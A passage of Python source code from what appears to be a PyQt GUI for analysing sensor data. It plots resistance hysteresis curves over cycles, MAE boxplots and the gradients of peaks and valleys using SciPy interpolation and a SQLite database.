#self.graphWidget.plotline(stepcount_detail, upwardcurve, self.findbytimestamp(self.timestamp[t]), self.color)\n #self.graphWidget.plotline(stepcount_detail, downwardcurve, self.findbytimestamp(self.timestamp[t]), self.color)\n #counter+=1\n #self.color = self.colors[counter % 6]\n #self.graphWidget.plotline(stepcount_detail, pu_r1, self.findbytimestamp(self.timestamp[t]), self.color)\n #self.graphWidget.plotline(stepcount_detail, pd_r1, str(error1), self.color)\n self.canvas.plot_line(stepcount_detail, pu_r1, self.color, label)\n self.canvas.plot_line(stepcount_detail, pd_r1, self.color, None)\n self.canvas.update_axes(self.toplot, self.xtext+\" \"+self.xunit, self.ytext+\" \"+self.yunit)\n self.canvas2.plot_line(stepcount_detail, pu_r2, self.color, label)\n self.canvas2.plot_line(stepcount_detail, pd_r2, self.color, None)\n self.canvas2.update_axes(self.toplot, self.xtext+\" \"+self.xunit, self.ytext+\" \"+self.yunit)\n #self.graphWidget2.plotline(stepcount_detail, pu_r2, self.findbytimestamp(self.timestamp[t]), self.color)\n #self.graphWidget2.plotline(stepcount_detail, pd_r2, str(error2), self.color)\n # create a list from temp_stepcount from cyclebreak to cyclebreak\n counter +=1\n self.color = self.colors[counter % 6]\n temp_stepcount = temp_stepcount[cyclebreaks[self.ui.spinBox_cycle.value()-1]:cyclebreaks[self.ui.spinBox_cycleEnd.value()]]\n temp_R1 = temp_R1[cyclebreaks[self.ui.spinBox_cycle.value()-1]:cyclebreaks[self.ui.spinBox_cycleEnd.value()]]\n temp_R2 = temp_R2[cyclebreaks[self.ui.spinBox_cycle.value()-1]:cyclebreaks[self.ui.spinBox_cycleEnd.value()]]\n self.canvas.plot_line(temp_stepcount, temp_R1, self.color, label)\n self.canvas2.plot_line(temp_stepcount, temp_R2, self.color, label)\n # delete the list up to the next keyword\n del self.stepcount[:self.stepcount.index(keyword)+1]\n del self.R1[:self.R1.index(keyword)+1]\n del self.R2[:self.R2.index(keyword)+1]\n counter += 1\n\n # Mean Absolute Error Interpolation\n elif self.toplot == \"Boxplot MAE Hysteresis (Interpolation)\":\n self.xtext = \"Sample #\"\n self.ytext = \"MAE in Hysteresis _ Each Cycle\"\n self.xunit = \"\"\n self.yunit = \"(%)\"\n counter = 0\n maxstepreached = False\n cyclebreaks = [0]\n halfcyclebreaks = [0]\n all_data1 = []\n all_data2 = []\n labels = []\n \n\n for t in range(len(self.timestamp)):\n datacursor.execute(\"SELECT steps FROM database WHERE timestamp = ?\", (self.timestamp[t],))\n max_step = datacursor.fetchall()[0]\n counter = 0\n halfcyclebreaks = [0]\n cyclebreaks = [0]\n labels.append(self.findbytimestamp(self.timestamp[t]))\n alldata1_cycle= []\n alldata2_cycle = []\n # get the list up to but not including the next keyword\n temp_stepcount = self.stepcount[:self.stepcount.index(keyword)]\n temp_R1 = self.R1[:self.R1.index(keyword)]\n temp_R2 = self.R2[:self.R2.index(keyword)]\n for i in range(len(temp_stepcount)):\n if maxstepreached == False and max_step-temp_stepcount[i] <=15:\n halfcyclebreaks.append(i)\n maxstepreached = True\n if maxstepreached == True and temp_stepcount[i] <= 15:\n cyclebreaks.append(i)\n halfcyclebreaks.append(i)\n maxstepreached = False\n elif maxstepreached == True and i == len(temp_stepcount)-1:\n cyclebreaks.append(i)\n halfcyclebreaks.append(i)\n maxstepreached = False\n\n #function to interpolate the data \n iternum = self.ui.spinBox_cycleEnd.value() - self.ui.spinBox_cycle.value() + 1\n for iter in range(iternum):\n lowercycle = self.ui.spinBox_cycle.value()+iter\n upwardssteps = temp_stepcount[halfcyclebreaks[2*lowercycle-2]:halfcyclebreaks[2*lowercycle-1]] \n downwardssteps = temp_stepcount[halfcyclebreaks[2*lowercycle-1]:halfcyclebreaks[2*lowercycle]]\n upwardsR1 = temp_R1[halfcyclebreaks[2*lowercycle-2]:halfcyclebreaks[2*lowercycle-1]]\n downwardsR1 = temp_R1[halfcyclebreaks[2*lowercycle-1]:halfcyclebreaks[2*lowercycle]]\n upwardsR2 = temp_R2[halfcyclebreaks[2*lowercycle-2]:halfcyclebreaks[2*lowercycle-1]]\n downwardsR2 = temp_R2[halfcyclebreaks[2*lowercycle-1]:halfcyclebreaks[2*lowercycle]]\n #find indices of duplicates\n seen = {}\n unique_indices = []\n for i, x in enumerate(upwardssteps):\n if x not in seen:\n seen[x] = i\n unique_indices.append(i)\n\n # Update the lists using the unique indices\n upwardssteps = [upwardssteps[i] for i in unique_indices]\n upwardsR1 = [upwardsR1[i] for i in unique_indices]\n upwardsR2 = [upwardsR2[i] for i in unique_indices]\n #seen = set()\n #indices = [i for i, x in enumerate(upwardssteps) if upwardssteps.count(x) > 1 and x not in seen and not seen.add(x)]\n #delete duplicates\n #if indices:\n # for index in reversed(indices):\n # del upwardssteps[index]\n # del upwardsR1[index]\n # del upwardsR2[index]\n seen = {}\n unique_indices = []\n for i, x in enumerate(downwardssteps):\n if x not in seen:\n seen[x] = i\n unique_indices.append(i)\n\n # Update the lists using the unique indices\n downwardssteps = [downwardssteps[i] for i in unique_indices]\n downwardsR1 = [downwardsR1[i] for i in unique_indices]\n downwardsR2 = [downwardsR2[i] for i in unique_indices]\n #seen = set()\n #indices = [i for i, x in enumerate(downwardssteps) if downwardssteps.count(x) > 1 and x not in seen and not seen.add(x)]\n #if indices:\n # for index in reversed(indices):\n # del downwardssteps[index]\n # del downwardsR1[index]\n # del downwardsR2[index]\n mykind = 'cubic'\n predictupwards_r1 = interp1d(upwardssteps, upwardsR1, kind=mykind, bounds_error=False, fill_value=(upwardsR1[0], upwardsR1[-1]))\n predictdownwards_r1 = interp1d(downwardssteps, downwardsR1, kind=mykind, bounds_error=False, fill_value=(downwardsR1[-1], downwardsR1[0]))\n predictupwards_r2 = interp1d(upwardssteps, upwardsR2, kind=mykind, bounds_error=False, fill_value=(upwardsR2[0], upwardsR2[-1]))\n predictdownwards_r2 = interp1d(downwardssteps, downwardsR2, kind=mykind, bounds_error=False, fill_value=(downwardsR2[-1], downwardsR2[0]))\n stepcount_detail = list(range(0, max_step+1))\n pu_r1 = ndimage.gaussian_filter1d(predictupwards_r1(stepcount_detail), self.gaussian_filter)\n pd_r1 = ndimage.gaussian_filter1d(predictdownwards_r1(stepcount_detail), self.gaussian_filter)\n pu_r2 = ndimage.gaussian_filter1d(predictupwards_r2(stepcount_detail), self.gaussian_filter)\n pd_r2 = ndimage.gaussian_filter1d(predictdownwards_r2(stepcount_detail), self.gaussian_filter)\n div1 = np.abs(max(pu_r1)-min(pu_r1))\n div2 = np.abs(max(pu_r2)-min(pu_r2))\n #error1 = np.mean(np.abs(pu_r1 - pd_r1)/div1)\n #error2 = np.mean(np.abs(pu_r2 - pd_r2)/div2)\n for xvar in range(1, max_step, 10):\n alldata1_cycle.append(np.abs(pu_r1[xvar] - pd_r1[xvar])/div1*100)\n alldata2_cycle.append(np.abs(pu_r2[xvar] - pd_r2[xvar])/div2*100)\n\n # delete the list up to the next keyword\n all_data1.append(alldata1_cycle)\n all_data2.append(alldata2_cycle)\n del self.stepcount[:self.stepcount.index(keyword)+1]\n del self.R1[:self.R1.index(keyword)+1]\n del self.R2[:self.R2.index(keyword)+1]\n # the following steps order the data so the big numbers are displayed at the right side of the graph.\n # create a tuple containing all_data1 and the labels\n tuple_data1 = zip(all_data1, labels)\n tuple_data2 = zip(all_data2, labels)\n # sort the tuple by the first element, descending\n tuple_data1 = sorted(tuple_data1, key=lambda x: x[0], reverse=True)\n tuple_data2 = sorted(tuple_data2, key=lambda x: x[0], reverse=True)\n # unzip the tuple into two lists\n labels_1 = []\n labels_2 = []\n all_data1, labels_1 = zip(*tuple_data1)\n all_data2, labels_2 = zip(*tuple_data2)\n\n\n self.canvas.plot_box(all_data1, self.canvas.axes, True, True, labels_1)\n self.canvas.update_axes(self.toplot, self.xtext+\" \"+self.xunit, self.ytext+\" \"+self.yunit)\n self.canvas2.plot_box(all_data2, self.canvas2.axes, True, True, labels_2)\n self.canvas2.update_axes(self.toplot, self.xtext+\" \"+self.xunit, self.ytext+\" \"+self.yunit)\n \n # Mean Absolute Error from raw data\n elif self.toplot == \"Boxplot MAE Hysteresis (raw data)\":\n self.xtext = \"Sample #\"\n self.ytext = \"MAE in Hysteresis _ Each Cycle\"\n self.xunit = \"\"\n self.yunit = \"(%)\"\n counter = 0\n maxstepreached = False\n cyclebreaks = [0]\n halfcyclebreaks = [0]\n all_data1 = []\n all_data2 = []\n labels = []\n \n\n for t in range(len(self.timestamp)):\n datacursor.execute(\"SELECT steps FROM database WHERE timestamp = ?\", (self.timestamp[t],))\n max_step = datacursor.fetchall()[0]\n counter = 0\n halfcyclebreaks = [0]\n cyclebreaks = [0]\n labels.append(self.findbytimestamp(self.timestamp[t]))\n alldata1_cycle= []\n alldata2_cycle = []\n # get the list up to but not including the next keyword\n temp_stepcount = self.stepcount[:self.stepcount.index(keyword)]\n temp_R1 = self.R1[:self.R1.index(keyword)]\n temp_R2 = self.R2[:self.R2.index(keyword)]\n for i in range(len(temp_stepcount)):\n if maxstepreached == False and max_step-temp_stepcount[i] <=15:\n halfcyclebreaks.append(i)\n maxstepreached = True\n if maxstepreached == True and temp_stepcount[i] <= 15:\n cyclebreaks.append(i)\n halfcyclebreaks.append(i)\n maxstepreached = False\n elif maxstepreached == True and i == len(temp_stepcount)-1:\n cyclebreaks.append(i)\n halfcyclebreaks.append(i)\n maxstepreached = False\n\n #function to interpolate the data \n iternum = self.ui.spinBox_cycleEnd.value() - self.ui.spinBox_cycle.value() + 1\n for iter in range(iternum):\n lowercycle = self.ui.spinBox_cycle.value()+iter\n upwardssteps = temp_stepcount[halfcyclebreaks[2*lowercycle-2]:halfcyclebreaks[2*lowercycle-1]] \n downwardssteps = temp_stepcount[halfcyclebreaks[2*lowercycle-1]:halfcyclebreaks[2*lowercycle]]\n upwardsR1 = temp_R1[halfcyclebreaks[2*lowercycle-2]:halfcyclebreaks[2*lowercycle-1]]\n downwardsR1 = temp_R1[halfcyclebreaks[2*lowercycle-1]:halfcyclebreaks[2*lowercycle]]\n upwardsR2 = temp_R2[halfcyclebreaks[2*lowercycle-2]:halfcyclebreaks[2*lowercycle-1]]\n downwardsR2 = temp_R2[halfcyclebreaks[2*lowercycle-1]:halfcyclebreaks[2*lowercycle]]\n #find indices of duplicates\n seen = {}\n unique_indices = []\n for i, x in enumerate(upwardssteps):\n if x not in seen:\n seen[x] = i\n unique_indices.append(i)\n\n # Update the lists using the unique indices\n upwardssteps = [upwardssteps[i] for i in unique_indices]\n upwardsR1 = [upwardsR1[i] for i in unique_indices]\n upwardsR2 = [upwardsR2[i] for i in unique_indices]\n seen = {}\n unique_indices = []\n for i, x in enumerate(downwardssteps):\n if x not in seen:\n seen[x] = i\n unique_indices.append(i)\n\n # Update the lists using the unique indices\n downwardssteps = [downwardssteps[i] for i in unique_indices]\n downwardsR1 = [downwardsR1[i] for i in unique_indices]\n downwardsR2 = [downwardsR2[i] for i in unique_indices]\n \n div1 = np.abs(max(upwardsR1)-min(upwardsR1))\n div2 = np.abs(max(upwardsR2)-min(upwardsR2))\n for xvar in upwardssteps:\n for xvar2 in downwardssteps:\n if np.abs(xvar - xvar2) <= 4:\n value1 = np.abs(upwardsR1[upwardssteps.index(xvar)] - downwardsR1[downwardssteps.index(xvar2)])/div1*100\n value2 = np.abs(upwardsR2[upwardssteps.index(xvar)] - downwardsR2[downwardssteps.index(xvar2)])/div2*100\n alldata1_cycle.append(value1)\n alldata2_cycle.append(value2)\n\n\n # delete the list up to the next keyword\n all_data1.append(alldata1_cycle)\n all_data2.append(alldata2_cycle)\n del self.stepcount[:self.stepcount.index(keyword)+1]\n del self.R1[:self.R1.index(keyword)+1]\n del self.R2[:self.R2.index(keyword)+1]\n # the following steps order the data so the big numbers are displayed at the right side of the graph.\n # create a tuple containing all_data1 and the labels\n tuple_data1 = zip(all_data1, labels)\n tuple_data2 = zip(all_data2, labels)\n # sort the tuple by the first element, descending\n tuple_data1 = sorted(tuple_data1, key=lambda x: x[0], reverse=True)\n tuple_data2 = sorted(tuple_data2, key=lambda x: x[0], reverse=True)\n # unzip the tuple into two lists\n labels_1 = []\n labels_2 = []\n all_data1, labels_1 = zip(*tuple_data1)\n all_data2, labels_2 = zip(*tuple_data2)\n\n\n self.canvas.plot_box(all_data1, self.canvas.axes, True, True, labels_1)\n self.canvas.update_axes(self.toplot, self.xtext+\" \"+self.xunit, self.ytext+\" \"+self.yunit)\n self.canvas2.plot_box(all_data2, self.canvas2.axes, True, True, labels_2)\n self.canvas2.update_axes(self.toplot, self.xtext+\" \"+self.xunit, self.ytext+\" \"+self.yunit)\n\n\n elif self.toplot == \"2\":\n self.xtext = \"Step\"\n self.ytext = \"Resistance\"\n self.xunit = \"\"\n self.yunit = \"(Ohm)\"\n #self.graphWidget.refresh(self.xtext, self.xunit, self.ytext, self.yunit)\n #self.graphWidget2.refresh(self.xtext, self.xunit, self.ytext, self.yunit)\n counter = 0\n maxstepreached = False\n cyclebreaks = [0]\n halfcyclebreaks = [0]\n self.canvas.clear()\n self.canvas2.clear()\n \n \n\n for t in range(len(self.timestamp)):\n origindata = []\n R1_origin = 1\n R2_origin = 1\n datacursor.execute(\"SELECT steps FROM database WHERE timestamp = ?\", (self.timestamp[t],))\n max_step = datacursor.fetchall()[0]\n label = self.findbytimestamp(self.timestamp[t])\n datacursor.execute(\"SELECT alldata FROM database WHERE timestamp = ?\", (str(self.timestamp[t]),))\n for x in datacursor:\n origindata = x.split('\\n') \n origindata.pop() \n R1_origin=int(origindata[0].split(',')[2])\n R2_origin=int(origindata[0].split(',')[3])\n self.color = self.colors[counter % 6]\n halfcyclebreaks = [0]\n cyclebreaks = [0]\n # get the list up to but not including the next keyword\n temp_stepcount = self.stepcount[:self.stepcount.index(keyword)]\n temp_R1 = [x/100*R1_origin+R1_origin for x in self.R1[:self.R1.index(keyword)]]\n temp_R2 = [x/100*R2_origin+R2_origin for x in self.R2[:self.R2.index(keyword)]]\n for i in range(len(temp_stepcount)):\n if maxstepreached == False and max_step-temp_stepcount[i] <=4:\n halfcyclebreaks.append(i)\n maxstepreached = True\n if maxstepreached == True and temp_stepcount[i] <= 4:\n cyclebreaks.append(i)\n halfcyclebreaks.append(i)\n maxstepreached = False\n elif maxstepreached == True and i == len(temp_stepcount)-1:\n cyclebreaks.append(i)\n halfcyclebreaks.append(i)\n maxstepreached = False\n\n #function to interpolate the data \n #print(halfcyclebreaks) \n iternum = self.ui.spinBox_cycleEnd.value() - self.ui.spinBox_cycle.value() + 1\n for iter in range(iternum):\n if iter > 0:\n label = None\n lowercycle = self.ui.spinBox_cycle.value()+iter\n upwardssteps = temp_stepcount[halfcyclebreaks[2*lowercycle-2]:halfcyclebreaks[2*lowercycle-1]] \n downwardssteps = temp_stepcount[halfcyclebreaks[2*lowercycle-1]:halfcyclebreaks[2*lowercycle]]\n upwardsR1 = temp_R1[halfcyclebreaks[2*lowercycle-2]:halfcyclebreaks[2*lowercycle-1]]\n downwardsR1 = temp_R1[halfcyclebreaks[2*lowercycle-1]:halfcyclebreaks[2*lowercycle]]\n upwardsR2 = temp_R2[halfcyclebreaks[2*lowercycle-2]:halfcyclebreaks[2*lowercycle-1]]\n downwardsR2 = temp_R2[halfcyclebreaks[2*lowercycle-1]:halfcyclebreaks[2*lowercycle]]\n #find indices of duplicates\n seen = set()\n indices = [i for i, x in enumerate(upwardssteps) if upwardssteps.count(x) > 1 and x not in seen and not seen.add(x)]\n #delete duplicates\n if indices:\n for index in reversed(indices):\n del upwardssteps[index]\n del upwardsR1[index]\n del upwardsR2[index]\n seen = set()\n indices = [i for i, x in enumerate(downwardssteps) if downwardssteps.count(x) > 1 and x not in seen and not seen.add(x)]\n if indices:\n for index in reversed(indices):\n del downwardssteps[index]\n del downwardsR1[index]\n del downwardsR2[index]\n mykind = 'cubic'\n predictupwards_r1 = interp1d(upwardssteps, upwardsR1, kind=mykind, bounds_error=False, fill_value=(upwardsR1[0], upwardsR1[-1]))\n predictdownwards_r1 = interp1d(downwardssteps, downwardsR1, kind=mykind, bounds_error=False, fill_value=(downwardsR1[-1], downwardsR1[0]))\n predictupwards_r2 = interp1d(upwardssteps, upwardsR2, kind=mykind, bounds_error=False, fill_value=(upwardsR2[0], upwardsR2[-1]))\n predictdownwards_r2 = interp1d(downwardssteps, downwardsR2, kind=mykind, bounds_error=False, fill_value=(downwardsR2[-1], downwardsR2[0]))\n stepcount_detail = list(range(0, max_step+1))\n pu_r1 = ndimage.gaussian_filter1d(predictupwards_r1(stepcount_detail), self.gaussian_filter)\n pd_r1 = ndimage.gaussian_filter1d(predictdownwards_r1(stepcount_detail), self.gaussian_filter)\n pu_r2 = ndimage.gaussian_filter1d(predictupwards_r2(stepcount_detail), self.gaussian_filter)\n pd_r2 = ndimage.gaussian_filter1d(predictdownwards_r2(stepcount_detail), self.gaussian_filter)\n error1 = np.mean(np.abs(pu_r1 - pd_r1))\n error2 = np.mean(np.abs(pu_r2 - pd_r2))\n #print (stepcount_detail)\n #upwardcurve = np.array([predictupwards(x) for x in stepcount_detail])\n #print(upwardcurve)\n #downwardcurve = np.array([predictdownwards(x) for x in stepcount_detail])\n #self.graphWidget.plotline(stepcount_detail, upwardcurve, self.findbytimestamp(self.timestamp[t]), self.color)\n #self.graphWidget.plotline(stepcount_detail, downwardcurve, self.findbytimestamp(self.timestamp[t]), self.color)\n #counter+=1\n #self.color = self.colors[counter % 6]\n #self.graphWidget.plotline(stepcount_detail, pu_r1, self.findbytimestamp(self.timestamp[t]), self.color)\n #self.graphWidget.plotline(stepcount_detail, pd_r1, str(error1), self.color)\n self.canvas.plot_line(stepcount_detail, (1/(pu_r1/pu_r2+1)), self.color, label)\n self.canvas.plot_line(stepcount_detail, (1/(pd_r1/pd_r2+1)), self.color, None)\n self.canvas.update_axes(self.toplot, self.xtext+\" \"+self.xunit, \"1/(r1/r2+1)\")\n self.canvas2.plot_line(stepcount_detail, pu_r1, self.color, label)\n self.canvas2.plot_line(stepcount_detail, pd_r1, self.color, None)\n self.canvas2.plot_line(stepcount_detail, pu_r2, self.color, label)\n self.canvas2.plot_line(stepcount_detail, pd_r2, self.color, None)\n self.canvas2.update_axes(self.toplot, self.xtext+\" \"+self.xunit, self.ytext+\" \"+self.yunit)\n #self.graphWidget2.plotline(stepcount_detail, pu_r2, self.findbytimestamp(self.timestamp[t]), self.color)\n #self.graphWidget2.plotline(stepcount_detail, pd_r2, str(error2), self.color)\n # create a list from temp_stepcount from cyclebreak to cyclebreak\n counter +=1\n self.color = self.colors[counter % 6]\n temp_stepcount = temp_stepcount[cyclebreaks[self.ui.spinBox_cycle.value()-1]:cyclebreaks[self.ui.spinBox_cycleEnd.value()]]\n temp_R1 = temp_R1[cyclebreaks[self.ui.spinBox_cycle.value()-1]:cyclebreaks[self.ui.spinBox_cycleEnd.value()]]\n temp_R2 = temp_R2[cyclebreaks[self.ui.spinBox_cycle.value()-1]:cyclebreaks[self.ui.spinBox_cycleEnd.value()]]\n # delete the list up to the next keyword\n del self.stepcount[:self.stepcount.index(keyword)+1]\n del self.R1[:self.R1.index(keyword)+1]\n del self.R2[:self.R2.index(keyword)+1]\n counter += 1\n\n elif self.toplot == \"Gradient of Peaks\":\n self.xtext = \"Timestamp\"\n self.ytext = \"Gradient of Peaks\"\n self.xunit = \"\"\n self.yunit = \"\"\n #self.graphWidget.refresh(self.xtext, self.xunit, self.ytext, self.yunit)\n #self.graphWidget2.refresh(self.xtext, self.xunit, self.ytext, self.yunit)\n counter = 0\n maxstepreached = False\n cyclebreaks = [0]\n halfcyclebreaks = [0]\n gradientR1 = []\n gradientR2 = []\n listoftimestamps = []\n self.canvas.clear()\n self.canvas2.clear()\n if self.ui.spinBox_cycle.value() == self.ui.spinBox_cycleEnd.value():\n self.ui.label_userinfo.setText(\"Please select at least two cycles\")\n print(\"Please select at least two cycles\")\n return \n \n \n\n for t in range(len(self.timestamp)):\n origindata = []\n R1_origin = 1\n R2_origin = 1\n label = self.findbytimestamp(self.timestamp[t])\n datacursor.execute(\"SELECT steps FROM database WHERE timestamp = ?\", (self.timestamp[t],))\n halfcyclebreaks = []\n cyclebreaks = []\n max_step = datacursor.fetchall()[0]\n self.color = self.colors[counter % 6]\n # get the list up to but not including the next keyword\n temp_stepcount = self.stepcount[:self.stepcount.index(keyword)]\n temp2_stepcount = []\n temp_R1 = self.R1[:self.R1.index(keyword)]\n temp2_R1 = []\n temp_R2 = self.R2[:self.R2.index(keyword)]\n temp2_R2 = []\n \n for i in range(len(temp_stepcount)):\n if max_step-temp_stepcount[i] <=15:\n maxstepreached = True\n halfcyclebreaks.append(i)\n if maxstepreached == True and temp_stepcount[i] <= 15:\n cyclebreaks.append(i)\n maxstepreached = False\n elif maxstepreached == True and i == len(temp_stepcount)-1:\n cyclebreaks.append(i)\n maxstepreached = False\n # create a list from temp_stepcount from cyclebreak to cyclebreak\n cyclecounter = 0\n temp_grad1 = []\n temp_grad2 = []\n temp_height1 = []\n temp_height2 = []\n for hcb in range((self.ui.spinBox_cycle.value()-1),self.ui.spinBox_cycleEnd.value()):\n temp2_stepcount.append(cyclecounter)\n temp2_R1.append(temp_R1[halfcyclebreaks[hcb]])\n temp2_R2.append(temp_R2[halfcyclebreaks[hcb]])\n temp_height1.append(temp_R1[halfcyclebreaks[hcb]]-temp_R1[cyclebreaks[hcb]])\n temp_height2.append(temp_R2[halfcyclebreaks[hcb]]-temp_R2[cyclebreaks[hcb]])\n cyclecounter += 1\n # interpolate a straight line between the points\n #predictR1 = interp1d(temp2_stepcount, temp2_R1, kind='linear', bounds_error=False, fill_value=(temp2_R1[0], temp2_R1[-1]))\n #predictR2 = interp1d(temp2_stepcount, temp2_R2, kind='linear', bounds_error=False, fill_value=(temp2_R2[0], temp2_R2[-1]))\n # calculate the gradient of the line\n for p in range(len(temp2_stepcount)):\n if p != 0:\n temp_grad1.append((temp2_R1[p]-temp2_R1[p-1])/temp_height1[p]*100)\n temp_grad2.append((temp2_R2[p]-temp2_R2[p-1])/temp_height2[p]*100)\n if p == 0:\n pass\n\n gradientR1.append(np.mean(temp_grad1)) \n gradientR2.append(np.mean(temp_grad2))\n listoftimestamps.append(self.timestamp[t])\n #list1 = []\n #list2 = []\n #for cycle in range(len(temp2_stepcount)-1):\n #list1.append(np.gradient(predictR1(cycle)))\n #list2.append(np.gradient(predictR2(temp2_stepcount)))\n #gradientR1 = np.mean(list1)\n #gradientR2 = np.mean(list2)\n #self.graphWidget.plotline(temp_stepcount, temp_R1, self.findbytimestamp(self.timestamp[t]), self.color)\n #self.graphWidget2.plotline(temp_stepcount, temp_R2, self.findbytimestamp(self.timestamp[t]), self.color)\n #self.canvas.plot_dot(self.timestamp[t], gradientR1, self.color, 15, label)\n #self.canvas.update_axes(self.toplot, self.xtext + \" \" + self.xunit, self.ytext + \" \" + self.yunit)\n #self.canvas2.plot_dot(self.timestamp[t], gradientR2, self.color, 15, label)\n #self.canvas2.update_axes(self.toplot, self.xtext + \" \" + self.xunit, self.ytext + \" \" + self.yunit)\n # delete the list up to the next keyword\n del self.stepcount[:self.stepcount.index(keyword)+1]\n del self.R1[:self.R1.index(keyword)+1]\n del self.R2[:self.R2.index(keyword)+1]\n\n unsorted_list1 = [(gradient, timestamp) for gradient, timestamp in zip(gradientR1, listoftimestamps)]\n sorted_list1 = sorted(unsorted_list1, key=lambda x: abs(x[0]))\n unsorted_list2 = [(gradient, timestamp) for gradient, timestamp in zip(gradientR2, listoftimestamps)]\n sorted_list2 = sorted(unsorted_list2, key=lambda x: abs(x[0]))\n colorbytstamp = []\n #order the colors by timestamp\n for tstamp in listoftimestamps:\n colorbytstamp.append([tstamp, self.colors[counter % 6]])\n counter += 1\n\n gradient1_sorted = []\n timestamp1_sorted = []\n gradient2_sorted = []\n timestamp2_sorted = []\n\n for i in sorted_list1:\n gradient1_sorted += [i[0]]\n timestamp1_sorted += [i[1]]\n\n for i in sorted_list2:\n gradient2_sorted += [i[0]]\n timestamp2_sorted += [i[1]]\n # labeling does not work, colors do not work\n for plots in range(len(gradient1_sorted)):\n #determine color1 by timestamp\n color1 = self.extractcolor(colorbytstamp, timestamp1_sorted[plots])\n color2 = self.extractcolor(colorbytstamp, timestamp2_sorted[plots])\n self.canvas.plot_dot(plots+1, gradient1_sorted[plots], color1, 15, self.findbytimestamp(timestamp1_sorted[plots]))\n self.canvas.update_axes(self.toplot, self.xtext + \" \" + self.xunit, self.ytext + \" \" + self.yunit)\n self.canvas2.plot_dot(plots+1, gradient2_sorted[plots], color2, 15, self.findbytimestamp(timestamp2_sorted[plots]))\n self.canvas2.update_axes(self.toplot, self.xtext + \" \" + self.xunit, self.ytext + \" \" + self.yunit)\n \n self.canvas.set_axes(-max(min(gradient1_sorted),max(gradient1_sorted))-0.5, max(min(gradient1_sorted),max(gradient1_sorted))+0.5, len(gradient1_sorted)+1)\n self.canvas2.set_axes(-max(min(gradient2_sorted),max(gradient2_sorted))-0.5, max(min(gradient2_sorted),max(gradient2_sorted))+0.5, len(gradient2_sorted)+1)\n\n\n elif self.toplot == \"Gradient of Valleys\":\n self.xtext = \"Timestamp\"\n self.ytext = \"Gradient of Valleys\"\n self.xunit = \"\"\n self.yunit = \"\"\n #self.graphWidget.refresh(self.xtext, self.xunit, self.ytext, self.yunit)\n #self.graphWidget2.refresh(self.xtext, self.xunit, self.ytext, self.yunit)\n counter = 0\n maxstepreached = False\n cyclebreaks = [0]\n halfcyclebreaks = [0]\n self.canvas.clear()\n self.canvas2.clear()\n gradientR1 = []\n gradientR2 = []\n listoftimestamps = []\n if self.ui.spinBox_cycle.value() == self.ui.spinBox_cycleEnd.value():\n self.ui.label_userinfo.setText(\"Please select at least two cycles\")\n print(\"Please select at least two cycles\")\n return \n \n \n\n for t in range(len(self.timestamp)):\n origindata = []\n R1_origin = 1\n R2_origin = 1\n label = self.findbytimestamp(self.timestamp[t])\n datacursor.execute(\"SELECT steps FROM database WHERE timestamp = ?\", (self.timestamp[t],))\n halfcyclebreaks = []\n cyclebreaks = []\n max_step = datacursor.fetchall()[0]\n self.color = self.colors[counter % 6]\n # get the list up to but not including the next keyword\n temp_stepcount = self.stepcount[:self.stepcount.index(keyword)]\n temp2_stepcount = []\n temp_R1 = self.R1[:self.R1.index(keyword)]\n temp2_R1 = []\n temp_R2 = self.R2[:self.R2.index(keyword)]\n temp2_R2 = []\n for i in range(len(temp_stepcount)):\n if max_step-temp_stepcount[i] <=15:\n maxstepreached = True\n halfcyclebreaks.append(i)\n if maxstepreached == True and temp_stepcount[i] <= 15:\n cyclebreaks.append(i)\n maxstepreached = False\n elif maxstepreached == True and i == len(temp_stepcount)-1:\n cyclebreaks.append(i)\n maxstepreached = False\n\n # create a list from temp_stepcount from cyclebreak to cyclebreak\n temp_height1 = []\n temp_height2 = []\n temp_grad1 = []\n temp_grad2 = []\n cyclecounter = 0 \n for cb in range((self.ui.spinBox_cycle.value()-1),self.ui.spinBox_cycleEnd.value()):\n temp2_stepcount.append(cyclecounter)\n temp2_R1.append(temp_R1[cyclebreaks[cb]])\n temp2_R2.append(temp_R2[cyclebreaks[cb]])\n temp_height1.append(temp_R1[halfcyclebreaks[cb]]-temp_R1[cyclebreaks[cb]])\n temp_height2.append(temp_R2[halfcyclebreaks[cb]]-temp_R2[cyclebreaks[cb]])\n cyclecounter += 1\n # calculate the gradient of the line\n for p in range(len(temp2_stepcount)):\n if p != 0:\n temp_grad1.append((temp2_R1[p]-temp2_R1[p-1])/temp_height1[p]*100)\n temp_grad2.append((temp2_R2[p]-temp2_R2[p-1])/temp_height2[p]*100)\n if p == 0:\n pass\n\n gradientR1.append(np.mean(temp_grad1)) \n gradientR2.append(np.mean(temp_grad2))\n listoftimestamps.append(self.timestamp[t])\n #self.graphWidget.plotline(temp_stepcount, temp_R1, self.findbytimestamp(self.timestamp[t]), self.color)\n #self.graphWidget2.plotline(temp_stepcount, temp_R2, self.findbytimestamp(self.timestamp[t]), self.color)\n \n # delete the list up to the next keyword\n del self.stepcount[:self.stepcount.index(keyword)+1]\n del self.R1[:self.R1.index(keyword)+1]\n del self.R2[:self.R2.index(keyword)+1]\n\n # sort the gradients and timestamps\n unsorted_list1 = [(gradient, timestamp) for gradient, timestamp in zip(gradientR1, listoftimestamps)]\n sorted_list1 = sorted(unsorted_list1, key=lambda x: abs(x[0]))\n colorbytstamp = []\n #order the colors by timestamp\n for tstamp in listoftimestamps:\n colorbytstamp.append([tstamp, self.colors[counter % 6]])\n counter += 1\n unsorted_list2 = [(gradient, timestamp) for gradient, timestamp in zip(gradientR2, listoftimestamps)]\n sorted_list2 = sorted(unsorted_list2, key=lambda x: abs(x[0]))\n\n gradient1_sorted = []\n timestamp1_sorted = []\n gradient2_sorted = []\n timestamp2_sorted = []\n\n for i in sorted_list1:\n gradient1_sorted += [i[0]]\n timestamp1_sorted += [i[1]]\n\n for i in sorted_list2:\n gradient2_sorted += [i[0]]\n timestamp2_sorted += [i[1]]\n # labeling does not work, colors do not work\n for plots in range(len(gradient1_sorted)):\n #determine color1 by timestamp\n color1 = self.extractcolor(colorbytstamp, timestamp1_sorted[plots])\n color2 = self.extractcolor(colorbytstamp, timestamp2_sorted[plots])\n self.canvas.plot_dot(plots+1, gradient1_sorted[plots], color1, 15, self.findbytimestamp(timestamp1_sorted[plots]))\n self.canvas.update_axes(self.toplot, self.xtext + \" \" + self.xunit, self.ytext + \" \" + self.yunit)\n self.canvas2.plot_dot(plots+1, gradient2_sorted[plots], color2, 15, self.findbytimestamp(timestamp2_sorted[plots]))\n self.canvas2.update_axes(self.toplot, self.xtext + \" \" + self.xunit, self.ytext + \" \" + self.yunit)\n \n \n self.canvas.set_axes(-max(min(gradient1_sorted),max(gradient1_sorted))-0.5, 